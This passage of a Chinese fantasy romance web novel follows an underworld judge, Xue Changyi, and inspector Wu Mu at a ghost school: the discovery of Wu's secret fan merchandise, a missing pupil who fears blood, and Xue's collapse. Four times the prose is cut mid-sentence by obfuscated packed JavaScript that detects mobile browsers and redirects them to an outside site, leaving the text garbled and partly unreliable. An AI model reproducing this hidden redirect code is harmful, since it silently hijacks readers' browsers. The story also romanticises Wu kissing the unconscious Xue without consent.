鱼鳃揉了揉额角:“食堂窗口人多,老大先找地方坐下来,属下为您打饭,正好……” 他回头看了一眼乌部长排队的方向:“正好属下也去试探试探这位督察司部长。” 薛长仪点头,他知晓鱼鳃是十大鬼帅之中最稳重的一个。 “小鱼小鱼!”豹尾雀跃:“我与你一同去!” 小鱼冷漠:“你留下来跟着部长,别捣乱。” 豹尾:“……”耳朵和尾巴都耷拉下来了,活脱脱像一只被遗弃的大型犬。 薛长仪与豹尾找了个安静的角落坐下来,鱼鳃已经顺利排在乌木的身后。 “啊呀……”一声轻呼,鱼鳃不知怎么崴了一下。 正如豹尾所说,鱼鳃是一个“喜欢穿裙子的男孩子”,除了薛长仪本人,很少有人知道这个长相美艳,连续百年获得“地府最美女神”称号的鬼差,其实是男孩子。 今日鱼鳃穿了一套淡蓝色的职业裙装,踩着恨天高的高跟鞋,黑发披散而下,果然是一个干净干练的美女老师形象。 鱼鳃的高跟鞋晃了一下,好像没有站稳,突然向前倾斜。 乌木反应迅捷,一把扶住鱼鳃的手臂,没有让鱼鳃摔倒。 “谢谢你乌老师。”鱼鳃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257695|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬起一抹笑容,和平日里的冷漠干练完全不一样,甚至还有些温柔羞涩,继续搭讪说:“乌老师刚下课吗,听说你是第九班的代课体育老师?” 咔吧—— 是断裂的声音。 薛长仪挑眉,看向豹尾手中的筷子,让他去拿餐具,刚拿来三双筷子,六支一把攥在手里,竟然一声脆响给扳断了。 “豹尾?”薛长仪无奈出声,如果不提醒豹尾,豹尾很可能把筷子扳成一截一截,牙签那么小。 “啊呀!”豹尾震惊:“筷子怎么、怎么断了?我也没使劲……” 豹尾重新拿了筷子,气哼哼的嘟囔:“小鱼平时对我都不笑的,从刚才开始,他搭讪姓乌的,一口气笑了四回……啊,现在第五回了!” “这个姓乌的,看起来像模像样的,一见到美女就现出原形了吧?老大,听说他的原身是三足金乌?” “哼,不就是多长了一条腿吗,也不是什么好鸟!” 薛长仪下午没课,吃过午饭就回宿舍了,还要给第九班批改作业。 很巧,乌木下午也没有课,同样呆在宿舍。 嗡—— 嗡嗡! 嗡、嗡、嗡…… 乌木的手机,平均半个小时震动一次,每次震动,都会起身下楼。 薛长仪看似在批改作业,其实余光一直放在乌木身上。督察司的人本就很奇怪,乌部长最为奇怪,尤其是最近这几日,看似很忙,手机总是在响,动不动便会离开宿舍,似乎要去见什么神秘之人。 乌木看了一眼手机,再次离开宿舍。 薛长仪立刻起身,跨步到窗口向下望去,半分钟后乌木果然走出了宿舍楼,但是并没有走远,竟然是在接快递。 一个快递员将五六个盒子递给乌木,乌木抱着盒子又回了宿舍楼。 盒子?薛长仪微微转动眼眸,不知道里面装的是什么。 咔嚓—— 444宿舍门被推开,乌木抱着快递回来了,将盒子堆在地上,他准备拆快递,但看了一眼薛长仪,便没有继续拆快递,看起来这些递需要背着薛长仪拆开才行,不能被他瞧见。 薛长仪试探的说:“乌部长最近买了很多东西?” 乌木点点头,很冷漠的“嗯”了一声,然后就没有了下文。 因为薛长仪一下午都在宿舍,乌木干脆打开衣柜,一股脑将没拆开的快递全部塞在衣柜里,嘭—— 关闭衣柜大门。 薛长仪瞄了一眼,衣柜里还有许许多多的东西,都不是衣服,塞得满满当当,但他没看清是什么。 轰…… 轰隆! 乌木的衣柜发出一声轻响,紧跟着是巨响,刚刚关闭的衣柜大门嘭的被撞开,塞得满满当当的东西,“稀里哗啦——”犹如山体滑坡,泥石流一般滚下来。 ——薛长仪等身抱枕,一面衣冠楚楚,一面香肩半露。 ——扎满各种各样吧唧的痛包,包里还放着一只Q版棉花娃娃。 ——阎王爷玉体横陈鼠标垫,臀部设计成了柔软硅胶材质,极致人体工学享受…… 哐——啷啷啷…… 甚至还有一枚“看什么看,你自己没有老婆吗”的钥匙链,滚到薛长仪脚边。 薛长仪捡起那枚钥匙链,愣住,表情难得出现了一丝空白:“这些……是什么?” 14.听我解释 这些是什么? 薛长仪第一次感觉到大脑当即。好似缺油的门轴,稍微一思考,脑内所有零件“嘎啦嘎啦”直响,发出不堪重负的怪音。 抱枕? 可抱枕上印着薛长仪的等比例照片,黑色的阎王长袍衣衫半解,半遮半掩,微微昂着下巴,一脸……一脸邀请的表情? 还有鼠标垫? 那可以称之为鼠标垫吗?薛长仪趴着,臀部的位置设计成了人体工学的硅胶软垫,只是这么看起来……手感应该不错,又软又弹? 何止是薛长仪愣住,这些物品的拥有者——乌部长,也愣住了。 乌部长冷酷的冰山脸,随着“谷子”的坍塌,一点点龟裂。 “你……”乌木深沉的开口:“听我解释。” 二人四目相对,乌木明显心虚了,眼眸晃动了两下:“这些是……在班上没收的。” “没收的?”薛长仪不是没听清,而是不敢置信。 乌木点点头,严肃的重复:“没收的。” 第九班?薛长仪审视的上下打量乌木,作为一个阎王,尤其是第十殿阎王,最擅长的便是断狱。 前九殿的阎王,各司其职,术业有专攻,从各个方面审视进入地府之人,例如低一殿阎王,会从孽镜统观全局,查看这个人在阳间的一生,四殿阎王主管欺诈,到了十殿这里,薛长仪便会根据前九殿的评判,给出最终的结果。 因此薛长仪最擅长的就是断狱。 薛长仪眯起眼目,敏锐的说:“乌部长,你刚才眼神晃动了,还迟疑了半秒。” 乌木:“……” 薛长仪迈出一步,又一步,慢慢逼近乌木,轻声说:“你说的是真的吗?难道……没有撒谎?” 乌木:“……” 乌木的脸色还是一成不变的面瘫脸,好像永远也没有表情,但他下意识撇开眼神,不与薛长仪对视。 这明显是心虚的表现。 “咳……”二人的距离不断缩短,乌木发出一声低沉的轻咳,突然拿起手机贴在耳边:“喂?临时出任务?好,我现在就回督察司。” 乌木绕过薛长仪,头也不回的离开宿舍。 嘭! 关上门。 444宿舍里静悄悄的,只剩下薛长仪与散落一地的周边大眼瞪小眼。 咔嚓—— 门锁动了。 嘭…… 宿舍门推开,乌木重新走回来,西装包裹着大长腿,一步跨过来,身材挺拔而矫健,展开手臂,将地上的谷子一股脑全都抱起来,搓堆儿塞进衣柜里。 上锁! “乌部长……”薛长仪开口。 乌木再次拿起手机,贴在耳朵上,忙碌的根本听不到薛长仪在叫他。 “任务很紧急?我马上就到……” 嘭! 又是关门的声音。 薛长仪:“……”手机压根没亮起来,骗子。 地府中央总厅·第一督察司。 “部长?”司使们看到乌部长连夜赶到司里,如临大敌:“部长怎么回来了?是不是有什么紧急任务?” 乌木面色冰冷,平静的扫视着正在加班的司使们,淡淡的说:“不必管我,忙自己的。” “是,部长!” 乌木走进办公室,关上门,办公室内仿佛是一个密闭的空间,除了乌木谁也没有。 打开带锁的抽屉,从里面拿出一个精致的小盒子,拨开盖子。 里面——竟然放着薛长仪Q版立牌,还是可换装的吸铁石立牌。 乌木将立牌拿出来,放在桌上,又将换装的部件拿出来。 啪,吸铁石贴上——是阎王黑袍。 啪——是禁欲长衫。 啪——是优雅西装。 啪…… 反复给Q版小立牌换装,这么一个小立牌,他好像能把玩一晚上,都不会觉得腻歪。 冰冷的面容慢慢化开,展露出一丝不易被察觉的微笑,宽大的手掌爱惜的抚摸着立牌,嗓音温柔的自言自语:“穿这件……应该也很好看吧?” 啪! 乌木的手指一动,小立牌又换上了新衣服,竟然是……蕾丝花边的女仆装。 * 周六日就这样平静的过去,第九班的学子们没有捣乱,乌木借口督察司工作繁忙,也没有回泮宫宿舍。 足足两日,乌木没有出现在薛长仪面前,乌木神秘的衣柜,紧紧锁着…… 今天是周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14263160|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一,早读之后,第一节课就是体育。 身为第九班的代课体育老师,乌木自然不可能逃课。 薛长仪特意向校长打听了一下,乌木没有请假,校长也没有听说过督察司忙碌的消息。 叮铃铃—— 早自习结束,第一节课的上课铃打响。 乌木并没有出现在教室,但这也在情理之中,毕竟体育课嘛,自然要在操场上课,学子们立刻收拾东西,准备去操场集合。 “走吧,去上体育课……” “哈切——我还没睡醒呢!你说祭酒怎么安排的课程,周一一大早就上体育。” “不知今天乌老师会教什么?最好是一套飘逸灵动的剑法。” “李白你行不行,什么飘逸灵动的剑法,那都是花架子!” 薛长仪抱着收上来的作业,特意跟着学子们一起来到了泮宫外操场,果然看到了乌木。 远远的,两个人的眼神便对在了一起,薛长仪的眼神极好,敏锐的察觉到乌木皱了皱眉。 “乌老师,”薛长仪微笑:“这节不是体育课?乌老师怎么要走吗?” 乌木转身的步伐顿住,淡淡的开口:“我去器材室,拿点东西。” 他果然进了器材室,从里面拿出几张厚厚的垫子,扫视一眼在场学子:“俯卧撑。” “啊——俯卧撑啊……” “俯卧撑太无聊了。” “哼哼,小意思,本将军就算是做五百个,也不带眨一下眼皮!” 乌木平静的说:“一千五。” “多少?” “一千五?” “什么,风太大,朕的耳朵好像临时瞎了。” “这真的是俯卧撑的个数,不是长跑的米数吗?” “哥哥哥哥……蟜蟜一个俯卧撑也做不出来,怎么办鸭!” 乌木一脸严肃,一本正经的说:“薛老师,我还要给学子们上体育课,有什么事情,咱们之后再说。” 薛长仪挑眉,点点头,意外的很好说话。 走近乌木两步,薛长仪微微仰头,纤细白皙的颈项,仿佛一只脆弱的白天鹅。清冷的嗓音夹杂着一丝微微的笑意,轻声说:“乌老师,散学之后……我在宿舍等你。” 15.勾魂夺魄 嘭!!! 乌木向后退了一步,正好撞在篮球架子上。 一声巨响,伴随着尘土,篮球架子树倒了一般倾塌,轰然砸在地上。 “啊……”校长正好从旁边路过,吓得高亢惨叫,瞪眼一看,是篮球架!断裂的篮球架,如此似曾相识! “项羽!”校长大喊:“是不是你又把篮球架砸断了!” 项羽冤枉:“祭酒,上次砸断篮球架的,分明是吕布,你又记错了!” 校长又喊:“吕布!是不是你?别藏了,我都看见了,你又把方天画戟带进学宫了!” 吕布背着手,把方天画戟藏起来:“祭酒,你也冤枉我了,是乌老师踢断了篮球架,不是我!” 乌木:“……” 的确,是乌木不小心踢断了篮球架。 薛长仪突然靠近,暧昧的气息,好像勾人心魄的小羽毛,轻轻瘙痒在乌木的颈侧,没有任何温度,偏偏令人血液沸腾。 第十殿阎王不愧是勾魂夺魄的好手,即使是乌木,也无法驾驭…… 乌木只是想与薛长仪保持距离,没想到不小心撞断了篮球架,可见乌木向后躲闪的心情有多么迫切,可惜……他是个面瘫,脸上还是没有一丝一毫的波澜与改变。 “咳……”乌木轻轻咳嗽:“今天……司里可能很忙,我不回宿舍了。” “又不回宿舍了?”薛长仪挑眉:“乌老师最近总是夜不归宿,是不是有什么心事?” “或者说……”薛长仪凝视着他的眼睛,微笑:“心虚?” 乌木下意识撇开眼睛,当然心虚,因为那些谷子、周边,那些等身抱枕、棉花娃娃、吧唧、痛包、包括“人体工学”鼠标垫,都是乌木本人的,根本不是他没收的! “校长。”乌木冷静的转变了话题,只可惜有些生硬。 “校长突然过来,是有什么事情吗?” 校长小心翼翼的绕过断裂的篮球架:“确实有些事情,需要占用乌老师的体育课,请乌老师帮个忙。” “占课?” “啊!不要啊,我们想上体育课。” “一周就那么几节体育课……” 体育课被占课,这是学校里最常见的“惨案”,屡见不鲜,屡禁不止。 校长朗声说:“都静一静!静一静!今日学校体检,临时占用体育课……” 校长对乌木又说:“麻烦乌老师,带着第九班的学子去体检,体检中心的人已经都到了,就在泮宫教学楼一层。” “体检?”薛长仪奇怪:“学宫如今只有第九班上课,为何突然体检?” 校长说:“这是中央总厅的意思,也是关心关心补课的学子们,不会占用太多时间的,体检的项目很少,不会占用太多时间的,最多半节课,大家回来之后还可以继续上体育课!” 校长赔笑:“乌老师,那就麻烦你了。” 乌木平静的说:“不麻烦。” 校长传达完消息,绕过篮球架,小心翼翼的离开。 乌木咳嗽了一声:“薛老师,我先带学子们去体检了。” 薛长仪点点头,却始终觉得古怪,学宫现在放寒假,只有第九班在补课,现在体检,不就是给第九班单独体检吗? “啊……好好儿的体育课,我还想学三箭连珠呢。” “体检的话,是不是要抽血?扎针?” “吕布,咱们一会儿比一比谁高。” “好啊!肯定是我更胜一筹!” “哥哥哥哥!蟜蟜不想抽血,蟜蟜晕血!” “乖蟜儿,没事,哥哥在呢。” 第九班的学子们随着乌木离开操场,进入泮宫教学楼,薛长仪望着众人的背影,若有所思的眯了眯眼睛。 “老大!”豹尾在远处冲着这边招手。 他一只手抱着一个大箱子,箱子里都是奇奇怪怪的东西,还有一只骷髅架子,应该是教学模型,豹尾摇手的动作有些大,骷髅架子咕咚一声倒下来,亲密的靠在豹尾的颈侧,小鸟依人。 “哎呦,”豹尾似乎有些嫌弃那骷髅架子,赶紧用头拱开。 “老大。”鱼鳃也走过来,他同样抱着一个箱子,但纸箱子小了很多,里面放着地球仪等等。 鱼鳃是生物老师,正在收拾实验室,豹尾因为被乌部长挤掉了体育老师的位置,因此在学校里无所事事,便跟屁虫一样帮着鱼鳃忙前忙后。 豹尾热情的说:“老大你怎么在这里?回宿舍楼吗?” 薛长仪面色深沉:“你们去查一查,中央总厅是否下过通知,要第九班体检。” “体检?”豹尾臂力惊人,单手抱着大箱子,另外一手还能挠后脑勺:“好奇怪啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267366|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,寒假体检?便是阳间的学宫和学校,也不在这个时间体检啊。” 鱼鳃则是干练的回答:“是,我们现在就去查。” “哎,小鱼!等等我……” 鱼鳃和豹尾离开,薛长仪便抱着课本和作业往宿舍楼而去。 进了门,薛长仪放下课本,下意识看向对面的衣柜,那是乌木的衣柜,挂着一把大锁,衣柜撑得有些微微顶开,如果从缝隙往里看,兴许还能看到各种奇怪的东西…… 嘭—— 宿舍大门被推开,乌木大步走进来。 “乌老师?”薛长仪挑眉:“不是说司里繁忙,今天不回宿舍了吗?怎么这么早就回来了?” 乌木的脸色阴沉,并不接薛长仪的调侃,沙哑的说:“成蟜不见了。” “什么?”薛长仪也立刻严肃起来。 乌木解释说:“第九班的学子在泮宫体检,成蟜应该是晕血,害怕抽血,趁医护人员不注意,偷偷跑掉了,现在找不到人。” “传达室去过吗?”薛长仪问。 乌木点头:“去过了,传达室说没有开过学宫大门,不曾有人离开学宫。” 薛长仪眯眼:“说明成蟜还在学宫之中,我跟你一起去找。” 疾步走出宿舍楼,一眼就看到了嬴政,嬴政脸色阴沉,面目肃杀,等在教工宿舍楼之外。 嬴政看到他们,对他们摇摇头:“还是没找到,其他学子已经分头去找了。” 体检之前,成蟜就说自己怕抽血,很多小孩子都会怕抽血,嬴政并没放在心上,没想到成蟜会偷偷溜走,而且哪里也找不到。 “不必着急。”薛长仪开口,手腕轻轻一震,腕表瞬间化作一只多彩的魔方。 薛长仪白皙纤细的手指在魔方上轻轻一弹,千魔眼立刻显出了原形,不再是腕表,不再是魔方,而是千千万万只眼睛。 愤怒的、憎恨的、绝望的、无助的、爱慕的、欣喜的、兴奋的,各种各样的眼目,仿佛一张天罗地网,编织着浓烈的情绪,乌云一般遮盖在三个人的头顶。 这一刻,乌木有一种被人窥伺内心的感觉,令人遍体生寒。 薛长仪拂袖,千魔眼快速散开,黑烟一样向四面八方快速飞窜而去。 “只要成蟜在这个学宫里,”薛长仪嗓音平静而笃定:“必然躲不过千魔眼。” 16.亲吻 乌木深深地看了一眼薛长仪,眼神复杂,张了张口。 “找到了。”薛长仪的嗓音打断了他的开口。 “蟜儿在哪里?”嬴政询问。 薛长仪看向远方:“在泮宫顶楼的废弃器材室。” 嬴政没有再说话,立刻向泮宫教学楼大步跑去。 乌木又看了一眼薛长仪,眼神还是那般的复杂,但始终没有说话。 三个人一起跑向泮宫教学楼,快速登上顶楼。顶楼这一片都是废弃的器材室,因为地府一中现在只有一个年级,一共九个班,还没开始扩招,所以教室根本用不了那么多,与其说废弃的教室,还不如说是空置的教室,时间一长落了灰,一年到头也没有人会往这里走动,非常偏僻。 “呜呜……” “呜呜呜……” 是哭声。 隐隐约约,委屈得气喘,从器材室幽幽的传出来。 肯定是成蟜的哭声。 嬴政蹙眉,刚要推门走进去。 薛长仪抬手搭在嬴政的肩膀上,微微摇头。 通过千魔眼,薛长仪不只是看到了成蟜的藏身位置,还看到成蟜在哭。 小豆包蜷缩在器材室的角落,干净的校服被蹭得灰扑扑,双腿曲起,双手抱膝,把圆嘟嘟的小脸蛋儿埋在膝盖之中,整个人缩成了一只小皮球,瑟瑟发抖。 有人的确晕血,尤其是孩子,惧怕打针,害怕抽血,这很正常,可是小豆包成蟜哭得很隐忍,很委屈,甚至他抱膝蜷缩的样子,看起来无助而绝望…… 薛长仪摇头说:“等一等,我先进去看看,你们在这里等。” 嬴政顿住脚步,点了点头。 咔嚓—— “谁?!” 器材室的门刚刚被推开,成蟜非常机警,立刻抬起头来,扬起哭得乱糟糟的小脸蛋儿,戒备的质问。 “是我。”薛长仪出声,他的声音虽然清冷,却莫名有些温和。 小包子成蟜慢慢放松警惕,哽咽了一声。 “老师进来了。”薛长仪说。 成蟜虽然没有同意,但也没有阻止。 薛长仪走进来,递给嬴政一个安心的眼神,轻轻关上门,来到墙角的位置。 成蟜蜷缩在墙角,瑟瑟发抖的抱着膝盖,眨巴着眼睛,委屈的咬着嘴唇。 薛长仪席地而坐,也不嫌弃器材室的灰尘,坐在成蟜的身边,说:“怎么一个人跑了?” 成蟜缩了缩肩膀,像一只团起来的小刺猬,沉默了良久,终于开口说:“我……我害怕……” “红……”成蟜失神的描述着:“红色的,暖暖的……血……我怕血……” “怕血是很正常的。”薛长仪平静的看向成蟜,并没有嘲笑他:“告诉你一个秘密,其实老师也怕血。” “薛老师?”成蟜瞪大眼睛,惊讶的忘了哭泣。 身为一个审判生死的阎王,薛长仪也怕血,这是他的心里话…… “每个人都有害怕的东西,”薛长仪说:“这很正常。” “老师……”成蟜的嗓音哽咽,他的眼神放空,比刚才放松了许多,喃喃自语一样轻声说:“我……我在进入学宫之前,喝了孟婆汤。” 进入轮回的人,都会在苦竹奈何桥之上,饮下孟婆汤,忘却前尘往事。 按理来说,成蟜这样进入学宫的人,应该不需要饮下孟婆汤,但中央总厅也没有明文规定,不能饮孟婆汤。 成蟜轻声说:“老师……老师知道的吧,我是……我是自尽而死的。” 秦公子成蟜,叛乱谋反,走投无路之下选择自尽而亡,死后这才来到了地府中央总厅,机缘巧合之下,被遴选入地府一中,只要进入地府一中的学子,便可避免轮回之苦,毕业之后福利也不少,是个不错的选择。 “我听说……”成蟜喃喃自语:“哥哥也被遴选进入了学宫,只要……只要我饮下孟婆汤,忘却了以前的事情,就可以……就可以和哥哥成为同窗,就可以拥有亲人了……” “所以……” “所以我化作了这个年岁,懵懂的年岁,可以任性的天真,可以任性的无知,饮下孟婆汤……” “可是……”成蟜定定的看着薛长仪,眼泪再次夺眶而出:“薛老师,孟婆汤为何……为何不管用呢?我什么也没有忘掉,全都牢牢的记在脑海之中,虽然装作天真烂漫,可我一点也不天真,一点也不烂漫……” “我并非……是一个真正的小孩子。” 成蟜看着自己肉嘟嘟的掌心,微微张合手掌,仿佛想要抓住什么,眼泪扑簌簌流下来:“薛老师,我真的很怕血,那种鲜艳的颜色,温热的触觉,让我……让我更加难以忘记,更加难以伪装下去,可是……可是——如果我不伪装下去,我就会失去亲人,对不对,薛老师?” 薛长仪轻轻抬起手来,抚摸着成蟜的小脑袋:“是人都会伪装,无论是活人,还是死人。” “老师……”成蟜泪眼濛濛的望着他:“你有没有……拼命想要忘记,却不敢忘记的事情……” 薛长仪抚摸的动作一顿,表情出现了短暂的空白。 ——长仪,就算哥哥不在了…… ——也要保护好自己。 脑海中盘旋着二哥被打下欲忘台之时的叮嘱,薛长仪的脸上浮现出苦涩的笑容:“有啊。” 成蟜狠狠吐出一口气,如释重负一般:“原来、原来老师也有。” 薛长仪轻声感叹:“是啊,老师也有。” 咔嚓—— 器材室紧闭的大门终于打开了,薛长仪从里面走出来,他怀里还打横抱着小豆包一样的成蟜。成蟜的小脸蛋哭得都是泪痕,双眼闭合,哭累了已经睡过去,但就算沉浸在睡梦之中,仍然紧紧锁着小眉头,蜷缩着肩膀,双手放在胸前,很没有安全感的模样。 “嘘……”薛长仪轻声说:“睡了,不要吵醒他。” 嬴政小心翼翼的将成蟜抱过来,轻声说:“薛老师,今日我便给成蟜请假了。” 薛长仪摆手,嬴政立刻抱着熟睡的成蟜转身离开。 “哥哥……唔……哥哥……”成蟜含糊的梦呓着。 嬴政安抚的说:“蟜儿,哥哥在呢。” 薛长仪看着兄弟二人离开的背影,轻笑了一声:“乌部长,你有没有拼命想要忘记,却又不敢忘记的事情?” 乌木紧紧锁着眉心,凝视着薛长仪,张了张口,却是说:“你的脸色很差……” 薛长仪躲过乌木搀扶的手,说:“无妨……” 他的话音还未落地,身子一软,突然失去了意识,脸色惨白的软倒下来。 “薛长仪!”乌木一把接住昏倒的薛长仪。 薛长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277923|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪的皮肤本就白皙,此时透露着一股灰败的白色,平日里鲜艳的唇色变成了淡淡的嫩粉,完全是失血过多的表现。 乌木抱起薛长仪,快速冲出泮宫教学楼。 “老大?” “老大!怎么回事?” 豹尾和鱼鳃正好路过,只看到一向冷冰冰毫无表情的乌部长,冷酷的面容透露着一股急切,打横抱着薛长仪跑出来。 乌木简练的解释说:“薛长仪刚才催动了千魔眼,应该是消耗了太多体力。” “坏了!”豹尾:“千魔眼那个东西,太消耗体力了!” 鱼鳃说:“不必着急,把老大带回宿舍,让他好好休息,这样的事情……以前也不是没发生过。” 千魔眼虽然可以窥伺众生,但催动千魔眼是需要消耗灵能的,一般人根本无法催动千魔眼,千魔眼睁开一只眼睛所消耗的灵能,就足以吸干一个资历不浅的鬼差。 刚才千魔眼可不止张开了一只眼睛。 薛长仪的原身比较特殊,他是一块可以吸收天地灵气的石头,如果非要形容,就好像一块可以充电的电池,吸收日光与月光时是快速充电,而催动千魔眼,让薛长仪的“电量”快速流失,以至于电量过低,薛长仪被“强制关机”了。 别人如果被吸干了灵能,灰飞烟灭都有可能,但补天之石坚不可破,薛长仪只是陷入了深深的昏睡之中。 乌木抱着薛长仪冲入444宿舍,将他小心翼翼的放在床上。 鱼鳃说:“乌部长不用担心,以前第十殿如果工作繁忙,老大偶尔也会出现这样的情况,休息一晚上,晚上不要拉窗帘,让月光照进来,老大自己便会吸收月光的灵能,第二天就能恢复正常。” “诶?”豹尾一拍脑袋,似乎想到了什么:“乌部长,你的原身不是金乌吗?可比月光管用的多,平日老大不能晒太阳,是怕吸收太多的日光,但现在老大急需吸收灵能,乌部长你要是和老大手牵手,说不定老大立刻就能醒过来!” 鱼鳃无奈的看了一眼豹尾。 “怎么了?”豹尾奇怪:“小鱼您怎么这样看着我?我说错什么了吗?” 鱼鳃翻了一个白眼,让第十殿阎王,和专门监督阎王的督察司使手牵手,亏得豹尾这种憨憨能想得出来。 乌木冷漠的开口:“你们先回去吧,让他休息。” “可是……”豹尾说:“我们要留下来照顾老大啊!” 乌木又说:“薛长仪今天还有课程,你们去给他请假,顺便代课。” “是啊!”豹尾恍然:“我差点给忘了,今天第九班还有两节老大的语文课,放着不管的话,第九班一定把学宫闹翻天!” 豹尾火急火燎的往外走,鱼鳃回头看了一眼昏睡中的薛长仪:“那就劳烦乌部长了。” 乌木点点头,一挥手,黑色的劲风袭来,“嘭——”将宿舍门关闭,隔绝了豹尾与鱼鳃的视线。 薛长仪还在安静的昏睡,面色惨白,唇色暗淡,充斥着死气沉沉的错觉。 乌木的手掌轻轻抚摸上薛长仪的面颊,小心翼翼,充满了珍惜,在他手掌触碰到薛长仪皮肤的一刹那,死灰的颜色开始褪去,剔透的白皙一点点汇拢。 乌木的眼神深沉,凝视在薛长仪缺乏血色的唇瓣上,目光微微跳动,愈发的深邃。 缓缓的,乌木低下头去…… 17.不知餍足 温柔的触觉。 暖洋洋的,好像日光…… 薛长仪沉浸在睡梦之中,日光?有多久,薛长仪没有晒过太阳,或许自从开天辟地以来,就没有晒过太阳。每次都是隔着黑色的伞,站在那一方黑暗之下,遥遥的去看太阳。 “唔……”薛长仪轻轻的叹息了一声,唇上的温暖与酥麻立刻减退。 乌木偷吻的动作一顿,立刻抬起头,原来薛长仪并没有醒过来,只是轻轻梦呓了一下,而乌木“做贼心虚”,让平日里镇定无比,冰冷淡漠的督察司使,都吓了一跳。 “好暖和……”薛长仪在梦中轻轻摇头,难耐的低哼了一声:“还……” 乌木低下头:“你说什么?” 薛长仪仍然没有醒过来,沉浸在昏睡中,呢喃着:“好暖和……还要,要……” 轰隆—— 乌木的目光变得深沉,仿佛深渊,仿佛巨浪,仿佛漩涡,再次低下头。安静的444宿舍,只剩下急促的吐息声…… 薛长仪做了一个梦。 他梦到自己陷入了深深的睡眠,没有力气,甚至抬不起一根手指,不知要昏睡到什么时候。 但很快——黑暗被撕裂,一缕光芒照耀而来,暖洋洋的,那是日光。薛长仪贪婪的吸收着日光,无数暖流涌向自己的四肢百骸,身子仿佛在复苏,在“解冻”,得到了前所未有的餍足。 还想…… 还想更靠近那耀眼的光芒,即使身为一块补天石,即使会灰飞烟灭。 “嗯……”薛长仪叹息了一声,慢慢睁开眼睛。 第一眼,他看到了昏黄的夕阳。 夕阳?薛长仪一愣,快速撑坐起来,因为躺得太久,稍微有些头晕。 一只手伸过来扶住他,淡淡的说:“别起来,你的身体还没有恢复,再躺一会儿。” 薛长仪侧头,他差点以为看到了梦中的太阳。 ——是乌木。 乌木坐在床边,优雅的叠着腿,腿上搭着一本书,好像在看书,顺便看到薛长仪从昏睡中清醒过来。 薛长仪侧头看他,目光向下移动,落在他的书上,挑眉说:“乌部长,你的书拿反了。” 乌木:“……” 啪! 乌木将书合上,放在一边。 “咳……”乌木的面色一成不变:“身体好点了吗,你一直在昏睡。” “现在……”薛长仪难得有些迷茫:“是何时?” 乌木看了看窗外,学宫散学的铃声正好打响,回答说:“刚好散学。” 薛长仪的迷茫更加浓郁:“我昏迷了一个下午?” 乌木点点头,端起桌上的水杯:“喝点水吗?” 薛长仪难以掩饰惊讶:“平日我都会昏迷到第二天早晨,或者再久一些,今天怎么醒来的这么早……嘶——” 他说着,下意识摩挲自己的嘴唇,疼得一个激灵,火辣辣的,热乎乎的,总觉得嘴唇被蹭破了皮一般。 难道……薛长仪迷惑,天气太过干燥,所以嘴唇裂开了? 乌木看到他摩挲嘴唇的动作,又是轻轻咳嗽了一声。 薛长仪的唇色,已经恢复了鲜艳的红,他的皮肤白皙剔透,配合着鲜艳的唇瓣,竟有一种“娇艳”的错觉。 乌木淡淡的说:“应该是我一直在宿舍里的缘故。” 薛长仪果然被转移了注意力,没有再摩挲红肿的唇瓣,抬头看向乌木。 乌木的原型是三足金乌,也就是太阳,虽然乌木没有显出原型,但他身上散发出来的气息,已经足够温暖,绝不像他的外表那样冷冰冰。 薛长仪驱动千魔眼,体力透支,这个时候最需要吸收能量,平日里他无法与乌木接触,只要发生肢体接触,便会因为自动吸收太多的能量而被“烫伤”,体力透支之时便不一样了,相反这种时候他更需要吸收乌木的能量,反而多多益善,有利无弊。 乌木完全忽略了刚才“心虚”的举动,只是简练的概括了一下。 薛长仪点点头:“多谢。” “不用谢我,毕竟成蟜实在体育课上不见的,我也有责任。” 一时间宿舍陷入了寂静,谁也没有说话,吐息的声音清晰无比。 乌木重新坐回椅子上,好似为了展示放松的姿态,将桌上的书再次拿起来,随手翻开一页展开阅读。 包着《地府中小学生体育与健康》书皮的小说,内容看起来并不像教材那么严肃。 